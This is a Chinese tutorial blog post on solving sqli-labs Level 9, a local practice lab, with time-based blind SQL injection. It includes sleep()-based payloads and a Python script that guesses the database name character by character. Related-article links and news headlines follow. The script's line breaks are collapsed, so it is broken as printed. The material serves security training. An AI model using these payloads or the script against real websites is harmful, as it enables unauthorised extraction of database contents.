当前位置: 首页 > news >正文

sqli-labs第九关—‘时间盲注

一·:判断闭合类型

先按照之前的判断方式判断,发现无论输入什么都显示You are in..........

可以考虑使用时间盲注:

二:时间盲注Time-based Blind:

1.解释:

通过时间延迟判断结果

2.核心原理:

利用时间函数sleep(),构造条件语句

  • 如果条件为真 → 延迟N秒 → 页面响应变慢
  • 如果条件为假 → 不延迟 → 页面快速响应

3.关键函数:

sleep(n):让数据库等待n秒

if(条件,真时执行,假时执行‘’):判断

substr(str,start,length):substr("hello",1,1)返回h

ascii(char):ascii('a')=97

4.尝试判断注入点:

构造一个会延迟的payload,测试是否延迟

?id=1' and sleep(5)--+

页面响应5秒,存在时间盲注~

三:开始注入

1.爆库名长度

?id=1' and if(length(database())=8,sleep(5),0)--+

响应五秒,长度正确,数据库名长度为8

2.ascii码爆库名

-- 第一个字符是s
1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0)--+
-- 第二个字符是e
1' and if(ascii(substr(database(),2,1))=101, sleep(5), 0)--+
...

爆数据库名为security

3,自动化脚本

import requests
#导入requests库
url = "http://localhost/sqli-labs/Less-9/?id=1'"
#设置目标URL,包含SQL注入点
charset = "abcdefghijklmnopqrstuvwxyz" 
#设置要猜解的字符集,这里只猜解小写字母a-z
database = ""
#初始化字符串,存储数据库名称
for i in range(1, 9):  # 已知库名长度8#外层循环遍历每个位置for char in charset:#内层循环遍历字符集payload = f" and if(ascii(substr(database(),{i},1))={ord(char)},sleep(5),0)-- -"#构造payload,使用substr函数截取数据库名称的第i个字符# #使用ascii函数将其转换为ASCII码# 然后与字符char的ASCII码进行比较# 如果相等则执行sleep(5)函数,否则返回0full_url = url + payload#将payload拼接到URL后面try:response = requests.get(full_url, timeout=10)if response.elapsed.seconds >= 5:#响应时间大于等于五秒,说明猜对了,加入到数据库名中database += charprint(f"当前库名:{database}")#阶段输出,方便查看进度breakexcept requests.exceptions.Timeout:#如果请求超过10秒,说明猜错了,继续猜下一个字符print("请求超时,可能触发延迟")continue
print("最终库名:", database)

运行方式参考前一关解说~~

 ❀❀❀ 完结撒花!! ❀❀❀

相关文章:

  • 文件夹如何打包成jar包
  • Go语言数组的定义与操作 - 《Go语言实战指南》
  • 47、C#可否对内存进⾏直接的操作?
  • 企业网站架构部署与优化 --web技术与nginx网站环境部署
  • AIGC与数字金融:人工智能金融创新的新纪元
  • 单点登录是是什么?具体流程是什么?
  • Pycharm 选择Python Interpreter
  • App 发布后才想起安全?iOS 后置混淆的实战方法与工具路线(含 Ipa Guard 应用体验)
  • [免费]苍穹微信小程序外卖点餐系统修改版(跑腿点餐系统)(SpringBoot后端+Vue管理端)【论文+源码+SQL脚本】
  • 【python基础知识】Day30 模块和库的导入
  • 【电动汽车充电系统核心技术全解:从can通讯高压架构到800V超充未来】
  • 星云智控v1.0.0产品发布会圆满举行:以创新技术重构物联网监控新生态
  • 亚信电子与联发科技携手打造AIoT新未来
  • 电脑闪屏可能的原因
  • FLASHDB API分析
  • 大陆资产在香港发行RWA的合规路径与核心限制
  • chrome浏览器无法登陆谷歌学术的解决方法
  • 深入理解蒙特卡洛树搜索(MCTS):python从零实现
  • 数据结构(二) 线性表
  • 解决服务器重装之后vscode Remote-SSH无法连接的问题
  • 确诊前列腺癌后,拜登首次发声
  • 安徽凤阳县明中都鼓楼楼宇顶部瓦片部分脱落,无人员伤亡
  • 陈龙带你观察上海生物多样性,纪录片《我的城市邻居》明播出
  • “当代阿炳”甘柏林逝世,创办了国内第一所残疾人高等学府
  • 慢品巴陵,看总编辑眼中的岳阳如何书写“山水人文答卷”
  • 持续降雨存在落石风险,贵州黄果树景区水帘洞将封闭至6月初